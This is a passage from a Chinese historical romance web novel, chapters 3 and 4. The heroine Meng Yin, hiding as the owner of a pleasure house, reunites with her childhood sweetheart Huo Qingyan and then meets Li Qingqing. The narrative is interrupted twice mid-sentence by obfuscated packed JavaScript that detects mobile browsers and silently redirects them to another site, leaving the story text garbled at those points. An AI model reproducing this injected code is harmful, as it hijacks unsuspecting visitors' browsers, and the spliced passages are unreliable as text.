《小侯爷白月光是青楼东家》 3. 重逢 孟隐曾在心底里描摹过许多次与霍清晏重逢的光景。 她早已记不得情从何起。 只记得她窗外有一颗青梅树,每年夏初,结的果儿格外诱人,她总会吩咐下人摘上几颗。 她身子不好,不能吃生硬的果子,便送给他吃。 他也总是言笑晏晏地咬下一口,笑着告诉她很好吃。 嘉和十八年,她方才及笄,立在长亭中,目送他随镇边的军队远赴西境。 那时她尚且天真,满心满眼地憧憬着军队大破蛮夷,期盼着来日重逢。 她憧憬着,那一日,她会倚在高阁之上,遥望着他凯旋的模样。 那个少年定是像话本中编撰的少年将军一样,身骑白马、意气飞扬。身前是威风凛凛的老定远侯霍济,与当朝的那位英武非凡的长公主,身后,则跟着自己的兄长孟安。 那之后,西境的鸿雁从未间断,他约莫一两个月就会给孟隐寄来一封书信,随着兄长寄回家的家书送到孟府。 信中讲边境的大漠风卷残沙,讲掉队的孤鸿啼血哀鸣,也讲西征的大军连战连捷、大破敌军。 每收到一封书信,孟隐都觉得,离他和哥哥的归期又近了一分。 三年间,信笺已经积攒了厚厚的一叠,当年孟隐年少懵懂,尚分不明男女之情。如今回头重读,却发觉那信中字字滚烫,方才读懂字里行间,皆是少年人掩藏不住的青涩心动,恨不得把边关的日月星辰悉数摘下,塞进信笺中寄给她。 她后来耐不住心痒,悄悄尝了口青梅果,又酸又涩,明明不好吃,舌尖却悄然捉到几分甜来。 可天有不测风云,战场上形式瞬息万变,老侯爷和长公主中了埋伏,以身殉国的死讯传回京城,西征的军队兵败如山倒,损失惨重,大周连丢了两座边城。 命运半分情面也无,年仅十九岁的霍清晏,连为父母的逝世哀悼的机会都没有,就不得不接过父亲手中的帅印,挑起西征军的家国重担,重整旗鼓。 他们的书信往来,从那日起就戛然而止。 或许是他深陷兵戈无暇落笔,毕竟那些时日,就连兄长寄回家的家书都少了许多。 更有可能是千般心绪交织在一处,剪不断、理还乱,落笔时却不知该如何言说。 战场上分秒必争,生死只在瞬息,孟隐纵有万般惦念,提起笔来,墨水从狼毫笔尖滴落,洇湿了书信,终究没能落下一个字。 那份悄然滋生的,令人心痒的懵懂情谊,最终在烽火狼烟中,被时光渐渐冲淡、沉寂。 蒙尘覆雪。 再后来,朝中数名肱股之臣煞有介事地参父亲贪墨,兄长孟安被一连十二道军令从边境急召回京,抄家时竟真从库房中查出一箱箱炫目的金银。 墙倒众人推,就连父亲为边关筹集粮草的举措,也被歪曲成了贪墨的铁证。 没人知道那几箱金银从何而来。 昔日风光的孟家顷刻没落,朱红的大门贴上雪白的封条,连那株青梅树,都因为碍事而被伐倒。 陛下震怒,又感念孟家昔日为国立下的赫赫战功,最终只罢了官,满门流放北境苦寒之地。 她与这位小侯爷也彻底成了云泥之别。 孟隐没能见过塞外如钩的寒月,没能听过边关苍凉的军号,更无从知晓,这六年光阴,霍清晏在那血流漂橹的疆场上,历经了多少次生死、又被磨去了多少少年意气。 眼前的他,与记忆中几乎判若两人,原本白皙的肤色被边关的烈日灼成了小麦色,皮肤也不复少年时的细腻。 他眉眼间凝着化不开的倦色,下巴上覆着一层青黑的胡茬。 物是人非事事休,欲语泪先流。 他们此刻明明咫尺之遥,甚至能看见彼此眼中自己的倒影,两步的距离,竟像是隔着万丈天堑。 霍清晏背脊挺得笔直,目光沉沉落在她的脸上,眼中闪烁着希冀的光,却始终没有先开口。 孟隐垂眸,敛去眼底翻涌的思绪,屈膝道了个标准的万福礼。 “小女子花醉,见过侯爷。” “花醉……花醉。” 霍清晏反复呢喃咀嚼着这两个字,他伸手扯出了桌旁的椅子,示意孟隐坐下。 他左手的指尖摩挲着青瓷茶杯,杯壁被热茶灼得烫手,他却恍若未觉。 沙哑的嗓音带着几分说不清的叹惋。 “满堂花醉三千客,是个好名字……很适合你。” 孟隐没敢落座。 在商人地位低微的大周国,纵使她名下产业众多,终究脱不开商人身份的桎梏,哪有资格与功高震主的霍清晏平起平坐? “坐吧。”霍清晏轻轻拍了拍椅面,目光落在他手上缠着的绷带的手心上。 “你……受伤了?” “劳侯爷关心,都是些皮外伤,不妨事。” 孟隐扯住袖子,将那绷带往袖中藏了藏,应声落座。 她自始至终都不敢去看一眼霍清晏的眼睛。 一来,是怕眼底露出一丝破绽和慌乱被他窥见。 在不知道他的立场之前,她只能是醉春楼的东家花醉,而不该是那个早该在流放途中便零落成泥的孟二小姐。 二来,是为了压下心中那点荒唐的期待。 她竟然在期待霍清晏认出她来。仿佛这样,她就还是那个始终被捧在手掌心的千金之躯,而非背负着满门冤屈,苟延残喘的活死人。 “小女子并非这楼中献艺的姑娘,也不通琴棋、亦不不擅歌舞,若是……怠慢了侯爷,还请您赎罪。” 她垂着睫毛,字字谨慎,更生出几分哀戚来。 “无妨。”霍清晏摆了摆手,用眼神示意红娘子她们一行人离开,几年在边关的磨砺,让他有了几分不怒自威的威严。 红娘子则暗中请示孟隐,直到她微不可察地颔首应允,才躬身带上门。 门阖上发出轻微的叩响,雅间中只余两人的呼吸声,以致于孟隐能听见自己的心跳。 霍清晏微微偏头,目光落在帷幔丝线绣着的纹样,好半晌,才缓缓开口。 “方才听鸨母说,你是这醉春楼的东家。”他喉结滚动,似是恍然。 “啊,前些日子,醉春楼给侯府送过贺礼,恐怕是出于你之手罢。” 孟隐当然记得那份被退回的贺礼,她花了许多心思,什么前朝的文玩字画、西域的琉璃器具、东洋的璀璨明珠。她不清楚霍清晏的喜好,便只能在生母留给她的珍宝中挑些出色的。 可她精心准备的贺礼,最终同百官的贺礼一同,被他原封不动地退了回来。 孟隐该知道的,霍清晏与老侯爷一样,一生两袖清风,刚正不阿,眼里揉不进半点沙子。 可那时,她没有任何手段接近霍清晏,只能病急乱投医,用这最庸俗也不入流的方式,跟风送上贺礼。 “侯爷为大周百姓征战沙场,抛颅洒血,那些只是小女子一些不微不足道的敬意,入不了侯爷的眼。” “祝贺我凯旋得胜?” 霍清晏低低地笑了两声,听不出喜悲。他依旧没有看她,像是在恐惧什么,也像是在期待什么。 “若是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099053|195678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,那是你的心意,我一定会收下的。” 孟隐心中狠狠咯噔一声,她向来知道,霍清晏从不是一个轻浮孟浪的男子,更不会对一个萍水相逢的女子,说这般暧昧不清的话。 他定然认出了她,或者说,他在试探她。 她不禁自嘲,无非是她在麻痹自己罢了,若是没有认出,以他的身份,何苦到青楼来亲自寻她? 霍清晏对她片刻的失态毫无察觉,自顾自说着。 “可惜我来得仓促,没给你准备什么回礼,而且,我怕你看不上那些金银俗物。” “侯爷……”孟隐的手指无意识地摩挲着掌心的绷带,伤口略微的刺痛多少让她的大脑更清醒了些。 她是倾向于相信霍清晏至少不会为难她,一来,霍、孟两家是世交,就算霍清晏如今忠于朝廷,也会顾念两家曾经的情谊,不会对她赶尽杀绝。二来,她一个女子,又疾病缠身,在这个世道本就极容易被看轻。 霍清晏无从得知她满腹的怨怼和翻江倒海的筹谋。 为此,她愿意去赌一次。 正好顺水推舟。 若是博得霍清晏的怜悯,往后也好借着这份情分,慢慢去试探他的立场,摸清他的心思。 孟隐悄悄在桌案下,狠狠拧了一把自己腿上的软肉,尖锐的痛感袭来,眼眶霎时红了一圈,几滴温热的、情真意切的眼泪毫无预兆地从脸上滚落。 她捏着锦衣宽大的袖子,泪水在单薄的袖子上洇湿了一块。 “我如今,只是一个苟且偷生的罪人,又有何颜面面对您呢?” “阿妹!” 这两个字几乎是在瞬间便冲出了霍清晏的喉咙,他伸出手,下意识地想去像孩提时那般攥住她的手腕,指尖都要触碰到她的肌肤时,又意识到此举太过逾矩。 那只手僵在半空,指尖轻颤,显得有些无措,碍于礼法,只好讪讪收回。 “你可知道,方才在楼下遥遥望见你,我只当是我太过悲恸,一时出现了幻觉,这世间怎会有人与你生得八分像?还好……还好你还活着。” 他的声音,出乎意料地带着几分难以掩饰的哽咽。 “你定是受了许多苦,比以前还瘦了许多,阿妹。” 孟隐的大脑飞速运转,心头微微松了口气,看来霍清晏对她还有几分年少时残存的情意。 她本就不是什么惹人艳羡的大家闺秀,她不擅那些阳春白雪的雅艺,生母花容不喜那些花架子,而养父母也从不强迫她学习礼乐,到头来,孟隐唯独对棋艺略通一些皮毛。 再加上去年一场病掏空了她的身子,便是她从父母那继承的绝色容貌,也因为瘦削苍白的病态折损不少。 她能拿得出手的,只有那青梅竹马的旧日情谊而已。 “我侥幸熬过了去岁那场重病。”她以袖掩面轻咳了两声,这身子的孱弱已然不需要伪装。 “或许是托你的福,晏哥哥,连上天都想让我亲眼见见,你凯旋而归的样子。” 孟隐缓缓站起身,情至深处,她自己都分不清到底有几分真情、又是几分假意。 她踱步到窗边,纤纤玉手推开那扇雕花的木窗。 初春的风裹挟着微凉的泥土气,吹拂起她鬓边垂落的乌发,喉头竟然真有些发紧。 “上个月,你返京进宫,被文武百官和满城百姓簇拥着,从这条街上经过,而我就站在这扇窗后,远远望上一眼你的背影。” 她阖上眼,声音轻得几不可闻,却恰巧能字字清晰地落进霍清晏的耳中。“那样,我就已经心满意足了。” 4. 初见李倾倾 “你竟然不是孟伯父的亲生女儿?” 霍清晏脸上满是难以置信的错愕,夹菜的手一顿,银筷停在了半空。 方才,孟隐见窗外天色渐暗,便留了霍清晏在醉春楼用晚膳。 他会这般震惊也属实在情理之中,孟家对孟隐的宠爱,是有目共睹的,含在嘴里怕化了,捧在手心怕摔了,是真真切切的掌上明珠。 便是孟家的独子孟安,都要时常玩笑,只道妹妹才是亲生的,他是捡来的。 “我的生母素来体弱,生下我之后身子更亏空了许多。” 孟隐垂眸,指尖摩挲着汤碗的边沿,目光落在汤羹中飘起的菜叶上,难免陷入了回忆之中。 “我听父亲提起过,昔年父亲还是一名小将,兵败后重伤濒死,是我的生母救了他,才侥幸捡回一条命来。我出生时孱弱不堪,生母便将我托付给孟家夫妇,我也借着这层因缘,得了个将门千金的身份。” 霍清晏显然还没缓过神来,眉头紧蹙,眼中的惊讶更甚几分。 “你的身世,竟有此密辛。” “商人之女,总归比不得忠良之后体面。” 话音刚落,她强扯出一抹浅笑来,笑容中却藏着几分悲意 “否则她……也不会执意要把我送到孟家去。” 言及此处,孟隐神色难免黯然,幽幽一声叹息,眼角又泛起薄红。 “只是我那位母亲,早年亏空了身子,还未到无惑之年,便驾鹤西去,如今,我是彻底无所依靠了。” 霍清晏侧头沉吟,他指尖扣着桌案,在思索着什么,好半晌,方才语气郑重地安慰道。 “陛下定是听信了奸人谗言,孟伯父为大周国戎马一生,鞠躬尽瘁。孟家家风清廉,朝野尽知。怎会做出贪墨军饷这等大逆不道的事情来?阿妹不必忧心,我定会想法子,劝陛下为孟家平反昭雪。” 实际上,孟隐心知肚明,此生恐怕很难见到当今圣上为孟家平冤昭雪。 大周国与西面的梁国交恶已久,边境始终摩擦不断。 前些年,梁国骑兵骤然东下,以迅雷不及掩耳之势夺去大周国数座边城。 彼时大周国刚历经数年天灾,国库空虚,可朝中却外戚干政,佞臣当道,是一副“朱门酒肉臭,路有冻死骨”的光景。 以太后母家的李家为首的主和派极力主张割城议和,而老定远侯则带着朝中半数文武官员力主战守。 孟家即是霍济最得力的左膀右臂。 双方各执一词,争执不下之际,梁国又占了两座城池,在大周境内烧杀抢掠、梁国铁骑罪行罄竹难书。 军队的刀锋直逼大周腹地,一时京城中人人自危。 朝廷不得已,才派霍济带兵镇边。 如今,霍家好不容易把丢失的城池一一收复,朝廷却匆匆忙忙地与梁国议和,甚至不惜重金消灾,又怎会为主战派的孟家父子平反呢? 只可怜一国百姓,还未从战争中恢复元气,又要面临苛刻的税收。 “雷霆雨露皆是君恩,要怪……也只能怪昔日父亲因政见不合树敌太多,陛下愿意留我们一条性命,我们已是感激不尽。” 她勾起一抹牵强的笑容来,纤长的睫羽轻轻颤动,目光却在偷摸瞄着霍清晏的神色。 “我那段时日搬到京郊生母留给我的别苑养病,孟家事发后,孟家谎称我已病故,才侥幸逃过一劫,若非如此,以我这幅破败的身子骨,怕是要死在那千里流放之途中了。” 霍清晏眼中闪过完全不加掩饰的动容,他眸光微沉,语气中满是痛惜。 “阿妹,休要这样说,孟家世代忠良,若最终落得这样的下场,岂不是要让朝中忠臣良将人人自危?此事,我断然不会坐视不理。” 孟隐脸上始终挂着那一抹浅笑,闻言,那笑容看着也舒缓了些,她淡淡松了一口气。 “还是晏哥哥想得周全,我今晚便拟一封家书,将晏哥哥的话写进信中,寄到北境去,也好让家人得以安心。” 屋内陷入一阵静默,桌旁的熏香升起袅袅的淡烟,浓烈却不显得甜腻,那香气几乎掩盖了食物的鲜香,使人心神都安定了不少。 “倒是你,现在这般颓唐的模样,若是侯爷和长公主殿下在天有灵,怕是要忧心的。” 孟隐将一块卖相最佳的好肉夹起,轻轻放到霍清晏碗中,语气带着几分嗔怪,却满是深深的关切。 “你也要照顾好自己才是,怎的几年不见,瞧着竟然比我这个常年卧病的人还憔悴。” 这般举动,虽略有逾矩,却因为这旧日的情谊,不但不惹人反感,反倒能让人生出几分暖意来。 霍清晏想来也是察觉到了自己如今的形象确实不大好,他抬手摸了摸自己下巴上的胡茬,他耳根微红,连带着浓浓的黑眼圈的眼睛都亮了几分,羞赧地笑了笑。 “阿妹教训的是,今后绝不会再让阿妹看了笑话。” 这顿饭终究没能吃得安稳,不多时,门口便响起了红娘子略显急促的脚步,紧接着三声扣门声,她刻意压低了的声音透过门缝传来。 “东家,侯府的下人来醉春楼寻侯爷,说是……说是陛下听闻侯爷驾临醉春楼的消息,特地让李姑娘给您带了几个美姬送去侯府。” 霍清晏的脸色当即沉了下去,光是提到这桩婚事,眼里便是化不开的沉郁。 皇帝这婚赐得确实匆忙,按律,霍清晏父母同丧,本就因军务无法守丧。 如今才刚出三年的孝期,霍清晏以尽孝道为由拒婚合情合理。 按大周律例,当朝官员是不允许逛青楼的,不过当朝鲜有人追究,尤其醉春楼这种艺伎楼,向来都属于灰色地带,朝廷向来睁一只眼闭一只眼。 因此,这件事可大可小,而霍清晏风光无限,这点小事不值得朝廷当众下他的面子。 他才方才到醉春楼几个时辰,朝廷就听到了消息,无非是想敲打霍清晏罢了。 比起这个,更让孟隐在意的是李倾倾——她乃是高门贵女,是当朝太后母家的李家女,何必自降身份亲自送美姬到未婚夫府上。 甚至还不算未婚夫,毕竟霍清晏拒了婚事。 孟隐多少生出些感慨来,表面风光无限的京城第一才女,说到底,也只是朝廷的一枚棋子,霍清晏尚且有反抗的底气,而她身不由己。 不仅要受着被拒婚的羞辱,还要卑躬屈膝地给原本的未婚夫送美人。 不过,说到底她们立场相悖,如今的她可没有多余的心力去同情李倾倾,但她确实想亲眼见一见这位传闻中的李姑娘。 再者,方才她见映秋眼神始终闪烁,似乎隐瞒了什么,想来定是与李倾倾有关。 “晏哥哥,我能否与你同归?” 孟隐起身,双手叠在胸紧紧攥着衣襟。 “我知道这个请求有些唐突,可伯父伯母生前对我百般疼爱,他们过世后,我至今没能亲自祭拜,心中实在愧疚难安。” 她说着,用胭脂色的小帕轻轻拭去了眼角的泪水。 这泪水是今日她最情真意切的,霍济与长公主萧秋月确实待她不薄,想起二老的慈爱,她难免伤怀。 霍清晏却没有一口应允孟隐的请求,沉吟片刻后才道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099054|195678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “阿妹,你要与我同归,又不愿暴露你东家的身份,势必会被误认为花楼的清倌人,这……于你名声不利。” “你的身份实在不好再来我这风月之地,我怕错过了这次机会,下次与你见面又是遥遥无期!” 孟隐急忙上前一步,伸手要去拉霍清晏的袖子,手指堪堪触碰到他的袖角,又匆匆收回。 她垂下头,面色还有些病态的苍白,只有被死死咬着的唇上尚有些血色。 “我如今早已不是什么将门千金,本就是戴罪之身,名节于我而言,不过是无用的枷锁罢了。” 霍清晏终究没有拗过孟隐的坚持,她甚至没有时间更衣,依旧一身青衣素簪,脸上未施半点粉黛,倒不是她只偏爱这素雅清淡。 相反的,她其实很喜欢那珠光宝翠和绫罗锦缎,可因着幼时时长卧床休息,她总觉得过于花哨繁琐瞧着久了眼晕。 侯府的布置,比起孟隐记忆中几乎没什么变化,以前她身子不好,唯有每逢年节时会被父母带来侯府走动。 每每离开时,二老都要拿出些金银首饰、亦或是哪里寻来的名贵补品,一股脑地全塞给她。 大周世交间,常有指腹为婚的习俗。虽然两家始终没有真正定下明文婚约,嘴上念着还是要看孩子们自己的意思才好。 可按礼法,男女该授受不亲。两家却有意让霍清晏与她这个闺阁女子接触,想来彼此都有此意。本就是世交,若是再结秦晋之好,自当是一桩美谈。 他二人两小无猜,虽然始终没有捅破窗户纸,但也彼此之间的感情,不说郎情妾意,也绝对算不上清白。 如今想来,霍济与萧秋月二老,恐怕是自打她儿时便将她当做准儿媳去疼爱的。 孟隐定了定心神,甩开这纷杂的思绪。 多想无益,还是先着眼当下为妙。 直到亲眼见了那位李姑娘,孟隐才知道,外界传说并非浪得虚传。 那女子比孟隐还要小上一些,看着十七八的模样,却生得杏眼桃腮、粉面朱唇,绯红的面颊上还带着少女的娇俏可人,却比同龄人看着端方沉稳得多。 她身着绛紫色锦衣绣金华服,尽显雍容华贵。墨发间插着一支做工精妙的点翠步摇,走起路来却只有底下的两枚金珠微微晃动,不见半分轻浮,端得是一副名门闺秀的模样。 这般从容得体的体态,别说孟隐这般未曾刻意被规培过的女子,便是京中其他的的名门闺秀,也大都自愧不如。 李倾倾的目光先是落在霍清晏的脸上,只是淡淡一扫,随即又瞥向他身后的孟隐。 她眼中闪过一丝不易察觉的惊愕之色,随即便是一抹了然,又将其飞速掩进眼底,缓缓起身,规规矩矩地行了一个万福礼。 声音温柔悦耳,既不疏离,也不显得过分热络。 “李倾倾见过侯爷。” 她身后的几位美姬,早在霍清晏踏进屋内时,便齐刷刷跪倒了一片。 那些女子服色各异、环肥燕瘦、不说是国色天香,也称得上花容月貌,姿容婀娜,却在这样的女子面前纷纷失了颜色。 一时之间,满屋都飘着淡淡的脂粉香气,馥郁浓艳,却又因为李倾倾的存在而不显得俗气,衬得青衣素面的孟隐愈发素净寒碜。 饶是见过无数美人的孟隐,都忍不住悄悄掀开眼皮多看了几眼。 李倾倾说话间,目光却有意无意落在孟隐身上流连。 “免礼吧。”霍清晏神色淡然,他随手拉出一把椅子,听不出喜怒,但大体上还算客套。“还请李姑娘替我多谢陛下美意。”